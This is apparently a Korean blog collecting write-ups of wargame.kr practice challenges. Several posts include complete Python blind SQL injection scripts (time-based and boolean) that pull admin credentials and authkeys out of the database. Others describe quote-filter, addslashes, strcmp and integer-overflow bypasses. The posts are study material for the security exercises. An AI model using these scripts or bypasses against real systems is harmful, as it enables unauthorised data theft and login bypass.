[HOME]



[JS practice]



[JS Example]



[to JSMaster]



Time based SQL Injection 이라는 말과 insert Query라는 힌트가 주어져 있습니다.


문제를 시작해보면 4가지의 페이지가 나와있고 각각의 기능이 다릅니다.

injection pointer를 먼저 찾아야 하는데 insert Query라는 힌트를 생각해보면 마지막인 [to JSMaster] 부분이라고 생각됩니다.


[to JSMater]에서는 메시지를 보내는 폼이 존재하고 send 버튼을 눌러보면 "send success"라는 alert창이 뜨게 됩니다.



값이 어떻게 보내지는지 확인하기 위해서 burp suite를 이용해 중간에 캡쳐를 해봅니다.

POST방식으로 cont, mail, type 3가지의 변수가 서버로 전송되는 것을 알 수 있습니다.


여기서 짐작해볼 수 있는 내용은 3가지 변수가 insert 문에 들어간다는 것입니다.

INSERT INTO 테이블명 VALUES($cont, $mail, $type);

이런 식으로 Query가 수행될 것이며 여기가 injection pointer라는 것을 의심해볼 수 있습니다.



insert문에서 SQL Injection을 수행해야 되고, time based로 문제를 해결해야 합니다.


INSERT INTO 테이블명 VALUES($value1, $value2);

insert문 안에서 서브쿼리를 사용할 수 있다는 것을 알아야 합니다.

예를 들어 INSERT INTO 테이블명 VALUES($value1, (select 1)); $value2 대신에 "select 1"을 사용하면 1이라는 값이 입력이 됩니다.


그렇다면 어떻게 Time based를 이용할 수 있을까요?

Time based를 할 때는 보통 조건문(if, case when)을 같이 사용하게 됩니다.

if를 이용해보면 INSERT INTO 테이블명 VALUES($value1, (if(1=1,sleep(2),1))); 

다음처럼 1=1이라는 조건이 참이기 때문에 sleep(2)가 실행되어 2초간 응답을 기다리게 됩니다.


이것을 통해 테이블명/칼럼명/데이터값을 차례대로 알아낼 수 있습니다.

type부분에 조건문을 만들어 전송하면 2초의 시간이 흐른 후 응답이 오는 것을 확인할 수 있습니다.



Python3 코드를 이용해서 문제를 해결했습니다.

싱글쿼터를 필터링 하기 때문에 concat(),char()를 사용했고, TABLE이름을 구하고 COLUMN을 구할 때 변환하여 사용했습니다.

count값은 여러 개의 값이 존재할지 몰라 사용하는 것입니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
import requests
import time
 
def request_len(query, count=-1):
    for i in range(0,100):
        if(count==-1): payload = query.format(i)
        else: payload = query.format(count,i)
        data = {'cont':'','mail':'','type': payload}
        print (payload)
 
        start=time.time()       
        res = requests.post(url, cookies=cookies, data=data)
        end=time.time()
        if(end-start>2):
            print("[*] LENGTH: "+str(i))
            return i       
    return -1
        
 
def request_value(query, value_len, count=-1):
    value=''
    for i in range(1, value_len+1):
        for j in index_list:
            if(count==-1): payload = query.format(i,j)
            else: payload = query.format(count,i,j)
            data = {'cont':'','mail':'','type': payload}
            print (payload)
 
            start=time.time()       
            res = requests.post(url, cookies=cookies, data=data)
            end=time.time()
            if(end-start>2):
                value += chr(j)
                break
    print("[*] VALUE: "+value)
    return value
 
        
if __name__=='__main__':
    cookies= {'ci_session':'YourSessionValue'}
    url = 'http://wargame.kr:8080/qna/?page=to_jsmaster'
    index_list = list(range(48,58))+[95]+list(range(97,123))
 
    ######################### TABLE ##############################
 
    query="(if(length((select table_name from information_schema.tables where table_type=concat(char(98),char(97),char(115),char(101),char(32),char(116),char(97),char(98),char(108),char(101)) limit 0,1))={0},sleep(2),1))"
    table_len=request_len(query)
    if( table_len == -1):
        exit("table_len code Error")
 
    print(table_len)
    query="(if(ascii(substr((select table_name from information_schema.tables where table_type=concat(char(98),char(97),char(115),char(101),char(32),char(116),char(97),char(98),char(108),char(101)) limit 0,1),{0},1))={1},sleep(2),1))"
    table_name=request_value(query, table_len)
    if( table_name == '' ):
        exit("table_name code Error")
    
 
    ######################### COLUMN ##############################
 
    query="(if(length((select count(column_name) from information_schema.columns where table_name=concat(char(97),char(117),char(116),char(104),char(107),char(101),char(121))))={0},sleep(2),1))"
    column_count=request_len(query)
    if( column_count == -1):
        exit("column_count code Error")
 
    column=[]
    for count in range(0, column_count):
        query="(if(length((select column_name from information_schema.columns where table_name=concat(char(97),char(117),char(116),char(104),char(107),char(101),char(121)) limit {0},1))={1},sleep(2),1))"
        column_len=request_len(query, count)
        if( column_len == -1):
            exit("column_len code Error")
 
        query="(if(ascii(substr((select column_name from information_schema.columns where table_name=concat(char(97),char(117),char(116),char(104),char(107),char(101),char(121)) limit {0},1),{1},1))={2},sleep(2),1))"
        column_name=request_value(query, column_len, count)
        if( column_name == '' ):
            exit("column_name code Error")
 
        column.append(column_name)
    print("COLUMN: "+str(column))
 
    
    ######################### AUTHKEY_VALUE ##############################
 
    AUTHKEY=''
    query="(if(length((select authkey from authkey limit 0,1))={0},sleep(2),1))"
    AUTHKEY_len=request_len(query)
    if( AUTHKEY_len == -1):
        exit("AUTHKEY_len code Error")
 
    query="(if(ascii(substr((select authkey from authkey limit 0,1),{0},1))={1},sleep(2),1))"
    AUTHKEY_value=request_value(query, AUTHKEY_len)
    if( AUTHKEY_value == '' ):
        exit("AUTHKEY_value code Error")
 
    print("[*] AUTHKEY: "+AUTHKEY)
 
cs




[참고]


SQL Injection in INSERT Query:

http://amolnaik4.blogspot.com/2012/02/sql-injection-in-insert-query.html

'WarGame > wargame.kr' 카테고리의 다른 글

[WarGame] lonely guys  (0) 2018.11.10
[WarGame] ip log table  (0) 2018.11.08
[WarGame] WTF_CODE  (0) 2018.11.05
[WarGame] php? c?  (0) 2018.11.02
[WarGame] tmitter  (0) 2018.11.01





Blind SQL Injection이니 참/거짓을 판단할 수 있어야 합니다.

소스를 확인해보면 post방식으로 $sort 값을 보내면 해당 $sort값이 ordey by 뒤 부분에 씌어집니다.


또한 update문으로 authkey라는 테이블명과 authkey라는 칼럼명을 알려주기 때문에 쉽게 해결 할 수 있습니다.



문제에서 order by 표현 방식을 알고 있는지 물어봐서 찾아보니

order by를 사용할 때 서브쿼리를 이용해서 참/거짓을 판단할 수 있는 방법이 있었습니다.


order by [COLUMN] 을 하면 COLUMN순으로 정렬을 해줍니다. (기본값 asc)

하지만 order by (select 1 from table) 이렇게 서브쿼리를 사용하면 ERROR가 발생하는데 이 부분에서 Blind SQL Injection을 사용할 수 있습니다.



문제에서 이미 COLUMN이 하나 나와있기 때문에 ,(콤마)를 통해서 구분을 해주고 아래와 같이 서브쿼리를 참으로 되게 만드는 구문을 사용하면

아무것도 표시가 되지 않습니다.


하지만 거짓으로 만들게 되면 정상적으로 표시가 됩니다.

이 부분을 이용해서 authkey를 얻을 수 있습니다.



Python 코드를 이용해서 문제를 해결했습니다,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import requests
 
def request_len(query):
    for i in range(0,100):
        payload = query.format(i)
        data = {'sort': payload}
        print (payload)
        
        res = requests.post(url, cookies=cookies, data=data)
        print(res.text)
        if((res.text).find("chul-su")<0):
            print("[*] AUTHKEY Length: "+str(i))
            return i
        
    return -1
        
 
def request_value(query, value_len):
    value=''
    for i in range(1, value_len+1):
        for j in range(33,127):
            payload = query.format(i,j)
            data = {'sort': payload}
            print (payload)
 
            res = requests.post(url, cookies=cookies, data=data)
            if((res.text).find("chul-su")<0):
                value += chr(j)
                break            
    print("[*] AUTHKEY: "+value)
    return value
 
        
if __name__=='__main__':
    cookies= {'ci_session':'YourSessionValue'}
    url = 'http://wargame.kr:8080/lonely_guys/'
 
    query=", (select 1 from guys_tbl where length((select authkey from authkey))={0})"
    AUTHKEY_len=request_len(query)
    if( AUTHKEY_len == -1):
        exit("AUTHKEY_len code Error")
 
    query=", (select 1 from guys_tbl where ascii(substr((select authkey from authkey),{0},1))={1})"
    AUTHKEY_value=request_value(query, ps_len)
    if( AUTHKEY_value == '' ):
        exit("AUTHKEY_value code Error")
cs



[참고]


SQL INJECTION - ORDER BY:

https://hacktagon.github.io/web/sql_injection/SQL_Injection_mysql_order-by_Persu

'WarGame > wargame.kr' 카테고리의 다른 글

[WarGame] QnA  (0) 2018.11.13
[WarGame] ip log table  (0) 2018.11.08
[WarGame] WTF_CODE  (0) 2018.11.05
[WarGame] php? c?  (0) 2018.11.02
[WarGame] tmitter  (0) 2018.11.01




페이지를 읽을 때마다 자신의 IP가 찍히면서 새로운 글이 생성됩니다.



Admin LOGIN으로 가보면 로그인 창이 하나 있고 로그인을 시도해보면 실패라고 나옵니다.

알맞은 ID/PS 를 알아내야 할 것으로 보입니다.




로그를 눌러보면 현재 시간(서버 기준)이 나오고 아무런 정보를 내주지 않습니다.



Burp suite를 사용해서 보면 idx값을 보내게 되는데 해당 값을 임의로 변경하면 아래와 같은 시간이 나오게 됩니다.

해당 문제는 Blind SQL Injection문제이므로 여기서 나오는 참/거짓으로 문제를 해결 할 수 있습니다.



0 or 1=1 이라고 값을 수정하면 참으로 시간이 나오게 되는데



0 or '1' = '1' 이라고 입력하면 제대로 나오지 않습니다.

이것으로 볼 때 서버 쪽에서 싱글쿼터(')를 필터링 하는 기능을 사용하고 있는 것으로 생각하고 있어야 합니다.



지금 정확한 TABLE_NAME, COLUMN_NAME을 알지 못하기에 해당 값을 먼저 알아내는 작업을 수행해야 합니다.


① TABLE_NAME

information.schema.tables라는 테이블을 이용해서 알아 낼 수 있습니다.(Mysql 기준)

select table_name from information.schema.tables where table_type='base table' limit 0,1

해당 Query를 통해 첫 번째의 table_name을 알아 낼 수 있습니다.

하지만 싱글쿼터를 우회하기 위해 concat()과 char()를 이용해서 문자열을 만들어줘야 합니다.


② COLUMN_NAME

select column_name from information.schema.columns where table_name='TABLE_NAME' limit 0,1

table_name을 구했으니 table안에 column명을 얻는 Query를 이용해서 하나씩 구합니다.


③ COLUMN_VALUE

select COLUMN_NAME from TABLE_NAME where ID_NAME=ID_VALUE

select COLUMN_NAME from TABLE_NAME where PS_NAME=PS_VALUE

ID/PS의 값을 구해 인증하면 됩니다.




Python3으로 간략하게 정리해 봤습니다.


PS는 index_list를 쓰면 전부 나오지 않기 때문에 range(33,127)로 전체 문자를 검사해야 합니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
import requests
 
def request_len(query, count=-1):
    for i in range(0,100):
        print("count: "+str(count))
        if(count==-1): payload = query.format(i)
        else: payload = query.format(count,i)
        data = {'idx': payload}
        print (payload)
       
        res = requests.post(url, cookies=cookies, data=data)
        if((res.text).find("1970-01-01 09:00:00")<0):
            print("Length: "+str(i))
            return i
    return -1
        
 
def request_value(query, value_len, count=-1):
    value=''
    for i in range(1, value_len+1):
        for j in index_list:
            if(count==-1): payload = query.format(i,j)
            else: payload = query.format(count,i,j)
            data = {'idx': payload}
            print (payload)
           
            res = requests.post(url, cookies=cookies, data=data)
            if((res.text).find("1970-01-01 09:00:00")<0):
                value += chr(j)
                break
    print("Value: "+value)
    return value
 
        
if __name__=='__main__':
    cookies= {'ci_session':'YourSessionValue'}
    url = 'http://wargame.kr:8080/ip_log_table/chk.php'
    index_list = [95]+list(range(97,123))
 
    ######################### TABLE ##############################
 
    query="idx=0 or 1=1 and length((select table_name from information_schema.tables where table_type=concat(char(98),char(97),char(115),char(101),char(32),char(116),char(97),char(98),char(108),char(101)) limit 0,1))={0}"
    table_len=request_len(query)
    if( table_len == -1):
        exit("table_len code Error")
 
    print(table_len)
    query="idx=0 or 1=1 and ascii(substr((select table_name from information_schema.tables where table_type=concat(char(98),char(97),char(115),char(101),char(32),char(116),char(97),char(98),char(108),char(101)) limit 0,1),{0},1))={1}"
    table_name=request_value(query, table_len)
    if( table_name == '' ):
        exit("table_name code Error")
 
 
    ######################### COLUMN ##############################
 
    query="idx=0 or 1=1 and (select count(column_name) from information_schema.columns where table_name=concat(char(97),char(100),char(109),char(105),char(110),char(95),char(116),char(97),char(98),char(108),char(101)))={0}"
    column_count=request_len(query)
    if( column_count == -1):
        exit("column_count code Error")
 
    column=[]
    for count in range(0, column_count):
        query="idx=0 or 1=1 and length((select column_name from information_schema.columns where table_name=concat(char(97),char(100),char(109),char(105),char(110),char(95),char(116),char(97),char(98),char(108),char(101)) limit {0},1))={1}"
        column_len=request_len(query, count)
        if( column_len == -1):
            exit("column_len code Error")
 
        query="idx=0 or 1=1 and ascii(substr((select column_name from information_schema.columns where table_name=concat(char(97),char(100),char(109),char(105),char(110),char(95),char(116),char(97),char(98),char(108),char(101)) limit {0},1),{1},1))={2}"
        column_name=request_value(query, column_len, count)
        if( column_name == '' ):
            exit("column_name code Error")
 
        column.append(column_name)
    print("COLUMN: "+str(column))
    
 
    ######################### ID_VALUE ##############################
 
    query="idx=0 or 1=1 and (select count(id) from admin_table)={0}"
    id_count=request_len(query)
    if( id_count == -1):
        exit("id_count code Error")
 
    id=[]
    for count in range(0, id_count):
        query="idx=0 or 1=1 and length((select id from admin_table limit {0},1))={1}"
        id_len=request_len(query, count)
        if( id_len == -1):
            exit("id_len code Error")
 
        query="idx=0 or 1=1 and ascii(substr((select id from admin_table limit {0},1),{1},1))={2}"
        id_name=request_value(query, id_len, count)
        if( id_name == '' ):
            exit("id_name code Error")
 
        id.append(id_name)
    print("ID: "+str(id))
 
 
    ######################### PS_VALUE ##############################
 
    query="idx=0 or 1=1 and length((select ps from admin_table where id=concat(char(98),char(108),char(117),char(101),char(95),char(97),char(100),char(109),char(105),char(110))))={0}"
    ps_len=request_len(query)
    if( ps_len == -1):
        exit("id_len code Error")
 
    query="idx=0 or 1=1 and ascii(substr((select ps from admin_table where id=concat(char(98),char(108),char(117),char(101),char(95),char(97),char(100),char(109),char(105),char(110))),{0},1))={1}"
    ps_value=request_value(query, ps_len)
    if( ps_value == '' ):
        exit("ps_value code Error")
 
cs

다소 지저분하지만... 

(앞 부분을 주석 처리 시 들여쓰기 Error가 나게 되니 주의)




얻은 ID/PS로 로그인을 하면 인증이 완료됩니다.



[참고]


[WEB] Blind SQL Injection 공격 방법:

http://crattack.tistory.com/entry/WEB-Blind-SQL-Injection-%EA%B3%B5%EA%B2%A9-%EB%B0%A9%EB%B2%95


Oracle, MySQL(Maria DB), MS-SQL 테이블 / 컬럼 목록 조회:

https://blog.themuser.xyz/%EC%98%A4%EB%9D%BC%ED%81%B4-mysql-ms-sql-%ED%85%8C%EC%9D%B4%EB%B8%94-%EC%BB%AC%EB%9F%BC-%EC%A0%95%EB%B3%B4-%EC%A1%B0%ED%9A%8C/

'WarGame > wargame.kr' 카테고리의 다른 글

[WarGame] QnA  (0) 2018.11.13
[WarGame] lonely guys  (0) 2018.11.10
[WarGame] WTF_CODE  (0) 2018.11.05
[WarGame] php? c?  (0) 2018.11.02
[WarGame] tmitter  (0) 2018.11.01





파일을 다운 받아 확인해보면 아무것도 보이지 않습니다.




HxD로 확인해보면 20, 09, 0A만 있습니다. (Space, tab, LF)

처음에 점들이 많이 있길래 모스부호로 된 암호인 줄 알고 찾아봤지만 아니었습니다.



검색을 해보니 세가지 Space, tab, LF 이 세가지 문자로만 된 언어가 있었습니다.

그리고 Decompile 하는 사이트에서 Key값을 확인 할 수 있습니다.




[참고]


위키백과: https://ko.wikipedia.org/wiki/%ED%99%94%EC%9D%B4%ED%8A%B8%EC%8A%A4%ED%8E%98%EC%9D%B4%EC%8A%A4_(%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%98%EB%B0%8D_%EC%96%B8%EC%96%B4)

WhiteSpace decompiler: https://vii5ard.github.io/whitespace/

'WarGame > wargame.kr' 카테고리의 다른 글

[WarGame] lonely guys  (0) 2018.11.10
[WarGame] ip log table  (0) 2018.11.08
[WarGame] php? c?  (0) 2018.11.02
[WarGame] tmitter  (0) 2018.11.01
[WarGame] img recovery  (0) 2018.10.31





소스를 확인해보면 입력한 값은 int형으로 casting이 되고, D1에 값을 p7이라는 c 프로그램에 인자로 넘겨줍니다.

그 결과와 D2값이 동일하면 문제가 해결됩니다.



우선 p7.c 코드를 확인해 봅니다. (URL로 이동)

  ① D1의 값을 atoi()함수로 int 형변환 후 i변수 선언.

  ② i값이 음수면 nono() 실행

  ③ i값에 +5

  ④ i값이 4보다 크면 nono() 실행

  ⑤ i값이 5보다 작으면 i값 printf


결론은 처음에는 음수였다가 +5한 값이 4이하이면서 1이 아니면 해결이 됩니다.

하지만 가장 작은 값인 0을 입력해도 +5를 하면 ④번으로 인해 실패하게 됩니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
#include <stdlib.h>
 
void nono();
 
int main(int argc,char **argv){
    int i;
    if(argc!=2){nono();}
    i=atoi(argv[1]);
    if(i<0){nono();}
    i=i+5;
    if(i>4){nono();}
    if(i<5){printf("%d",i);}
    return 0;
}
 
void nono(){
  printf("%d",1);
  exit(1);
}
cs



처음 문제를 열었을 때 32bit application에서 integer type에 관해 알고 있는지 물어봅니다.

32bit에서 int는 4byte로 값의 범위가 정해져 있습니다.


이때 2,147,483,647이상의 값을 입력하게 되면 error나는 것이 아니라 Overflow로 음수가 됩니다.

(ex. 2147483647 + 1 = -2147483648)

이것을 이용해서 문제를 해결 할 수 있습니다.



최대 값인 2,147,483,647을 D1에 입력하면 ②번의 양수를 검사하는 부분을 통과하게 되고,

+5를 하게 되면 Overflow가 발생하여 -2,147,483,644이 됩니다.


그리고 해당 값을 보낼 때 input tag에서 글자 수 제한(9)을 두었는데 개발자 모드로 살~짝 바꿔주시면 됩니다.




[참고]

C언어 데이터 형식 범위: https://msdn.microsoft.com/ko-kr/library/s3f49ktz.aspx

'WarGame > wargame.kr' 카테고리의 다른 글

[WarGame] ip log table  (0) 2018.11.08
[WarGame] WTF_CODE  (0) 2018.11.05
[WarGame] tmitter  (0) 2018.11.01
[WarGame] img recovery  (0) 2018.10.31
[WarGame] pyc decomplie  (0) 2018.10.30



tmitter이라는 홈페이지가 나옵니다.

계정을 로그인 할 수 있는 버튼과 새로 가입할 수 있는 버튼이 하나씩 있습니다.



계정을 모르기 때문에 해당 페이지로 가보면 ID/PS 입력란이 있고 아무것도 알려주지 않습니다.

소스를 확인 하면 주석으로 admin으로 가입하라는 힌트가 하나 주어집니다.



기본적으로 admin으로 가입을 시도하면 다음과 같이 존재한다면서 아이디가 생성되지 않습니다.



SQL Injection으로 해보면 되지 않을까 생각에 다음과 같이 시도해도 싱글쿼터(') 앞에 \가 붙으면서 제 역할을 하지 못합니다.

아마 addslashes() 나 get_magic_quotes_gpc()가 사용되고 있는 것으로 생각됩니다.

(insert into table_name value('$id','$pw')이런 식으로 join하겠죠?)



하지만 멀티바이트를 사용하는 언어셋 환경이라면 싱글쿼터를 우회 할 수 있습니다.

%a1~%fe 중 하나를 싱글쿼터 앞에 붙여서 보내면 싱글쿼터와 합쳐져 하나의 문자로 인식되기 때문에 우회가 가능합니다.


그래서 burp suite로 중간에 해당 값을 바꿔서 보내면 가입이 완료됩니다.




근데 생각해보니 싱글쿼터가 하나가 남게 되는데 query error가 아닌가 보네요...?

#을 지우고 해도 join이 되었습니다...??? (알 수 없네요..)



원래 의도 풀이


다른 블로그를 확인해보니 DB의 문제를 이용한 풀이를 했었습니다.


사실 처음 화면에 왜 create 문을 보여주었는지 의아해 했는데...

id가 32글자라는 것이 중요한 힌트였습니다.


서버에서 처리할 때 trim을 이용해 앞뒤 공백을 지우게 되는데 이것을 이용해서

"admin                           1" 이런 식으로 1을 제외한 앞 부분까지 32글자를 공백으로 만들어 보내면

32글자까지만 인식하기에 admin으로 가입이 되는 문제였습니다.

'WarGame > wargame.kr' 카테고리의 다른 글

[WarGame] WTF_CODE  (0) 2018.11.05
[WarGame] php? c?  (0) 2018.11.02
[WarGame] img recovery  (0) 2018.10.31
[WarGame] pyc decomplie  (0) 2018.10.30
[WarGame] md5_compare  (0) 2018.10.30



어지러운 패턴의 연속으로 되어있는 배경이 보입니다.

우선 이미지를 얻기 위해 소스를 확인해 보시면 쉽게 얻을 수 있습니다.



HxD로 확인해 보면 맨 아래 부분에 tExtsoftware.Japng r119 라는 문구가 의심스럽습니다.

japng 검색해보면 png파일을 여러장의 이미지를 하나의 파일로 만들어 gif처럼 움직이는 이미지를 만들 수 있습니다.



japngEditor를 이용해서 해당 이미지를 열어보면 다음과 같이 두 가지의 이미지가 들어있는 것을 알 수 있습니다.

(cmd>java -jar japng-editor.jar)

각각의 이미지를 Export해서 보다 보면 QR CODE일 것이라는 생각이 듭니다.



하지만 QR CODE를 인식하려면 하나의 이미지로 만들어야 되는데 배경이 흰색이기에 겹치지 못합니다.

다양한 방법이 있겠지만 PhotoScape라는 프로그램을 이용해서 이미지의 투명도를 조절해 하나로 겹치게 만들 수 있습니다.



QR CODE Scanner로 문자열을 얻고 인증하면 key값을 획득할 수 있습니다.



'WarGame > wargame.kr' 카테고리의 다른 글

[WarGame] php? c?  (0) 2018.11.02
[WarGame] tmitter  (0) 2018.11.01
[WarGame] pyc decomplie  (0) 2018.10.30
[WarGame] md5_compare  (0) 2018.10.30
[WarGame] strcmp  (0) 2018.10.30



python에서 .pyc는 컴파일된 파일입니다.

문제 자체가 decomplie하라는 문제이기 때문에 해당 파일을 디컴파일 먼저 수행해야 합니다.



"Easy Python Decompiler" 프로그램을 통해 간단하게 수행할 수 있습니다.

해당 프로그램을 사용하면 .pyc_dis 파일이 생성되고 확장자를 py로 바꾸고 열어보면 코드를 확인 할 수 있습니다.



아래 코드의 flag가 답을 얻기 위해 찾아야 되는 값입니다.

그리고 현재 시간을 통해서 ok변수 값의 flag값이 만들어지고 입력한 flag값과 비교를 합니다.


그렇다면 모르는 flag값을 제외한 코드를 사용해서 flag값을 만들 수 있습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# Embedded file name: bughela.py
import time
from sys import exit
from hashlib import sha512
 
def main():
    print 'import me :D'
 
def GIVE_ME_FLAG(flag):
    if flag[:43!= 'http://wargame.kr:8080/pyc_decompile/?flag=':
        die()
    flag = flag[43:]
    now = time.localtime(time.time())
    seed = time.strftime('%m/%d/HJEJSH', time.localtime())
    hs = sha512(seed).hexdigest()
    start = now.tm_hour % 3 + 1
    end = start * (now.tm_min % 30 + 10)
    ok = hs[start:end]
    if ok != flag:
        die()
    print 'GOOD!!!'
 
def die():
    print 'NOPE...'
    exit()
 
 
if __name__ == '__main__':
    main()
cs



최종적으로 아래 코드를 이용해서 flag값을 획득 할 수 있습니다.

하지만 서버 시간과 사용자pc의 시간이 달라 flag값이 제대로 되지 않을 수 있습니다.


서버 시간에 맞춰 pc시간을 조정해서 python코드를 실행하면 올바른 값을 얻을 수 있습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Embedded file name: bughela.py
import time
from sys import exit
from hashlib import sha512
 
def main():
    print 'import me :D'
    now = time.localtime(time.time())
    seed = time.strftime('%m/%d/HJEJSH', time.localtime())
    hs = sha512(seed).hexdigest()
    start = now.tm_hour % 3 + 1
    end = start * (now.tm_min % 30 + 10)
    ok = hs[start:end]
    print(ok)
 
if __name__ == '__main__':
    main()
cs




'WarGame > wargame.kr' 카테고리의 다른 글

[WarGame] tmitter  (0) 2018.11.01
[WarGame] img recovery  (0) 2018.10.31
[WarGame] md5_compare  (0) 2018.10.30
[WarGame] strcmp  (0) 2018.10.30
[WarGame] md5 password  (1) 2018.10.29




단순히 값을 비교하라는 문제입니다.

value1에는 알파벳 만을 사용해야 하고,

value2에는 숫자 만을 사용해서 md5값이 동일해야 합니다.



php md5 crash라고 검색을 해보면 아래 참고 사이트가 나오게 됩니다.

해당 사이트에서 md5의 숫자와 문자열의 값이 동일한 것에 대한 이야기가 나오니 확인해 보시면 됩니다.



[참고]

알파벳/숫자 md5 값 동일: https://news.ycombinator.com/item?id=9484757


'WarGame > wargame.kr' 카테고리의 다른 글

[WarGame] img recovery  (0) 2018.10.31
[WarGame] pyc decomplie  (0) 2018.10.30
[WarGame] strcmp  (0) 2018.10.30
[WarGame] md5 password  (1) 2018.10.29
[WarGame] login filtering  (0) 2018.10.29






strcmp에 관한 문제입니다.

strcmp에 취약점이 있는 문제로 해당 취약점을 알아야 풀 수 있습니다.


지금 $password는 rand()함수로 인해 값이 계속 변해서 정확한 password는 알 수 없습니다.


strcmp(a,b) 함수의 역할은 a가 작으면 음수, b가 작으면 양수, 같으면 0을 반환해주는 함수입니다.

0을 반환해야 문제가 풀리기 때문에 배열과 비교를 하면 0의 값을 띄워주는 취약점을 이용하면 됩니다.



 POST 방식으로 값이 날라가기 때문에 burp suite를 사용해 중간에 값을 바꿔줍니다.

password=1로 보내는 게 아니라 password[]=1로 보내서 배열 형식으로 보내주면 배열과 문자열을 비교하여 0의 값을 반환합니다.



[참고]

[PHP] strcmp 취약점을 이용한 인증 우회: http://hackability.kr/entry/PHP-strcmp-%EC%B7%A8%EC%95%BD%EC%A0%90%EC%9D%84-%EC%9D%B4%EC%9A%A9%ED%95%9C-%EC%9D%B8%EC%A6%9D-%EC%9A%B0%ED%9A%8C


'WarGame > wargame.kr' 카테고리의 다른 글

[WarGame] pyc decomplie  (0) 2018.10.30
[WarGame] md5_compare  (0) 2018.10.30
[WarGame] md5 password  (1) 2018.10.29
[WarGame] login filtering  (0) 2018.10.29
[WarGame] fly me to the moon  (0) 2018.10.28

+ Recent posts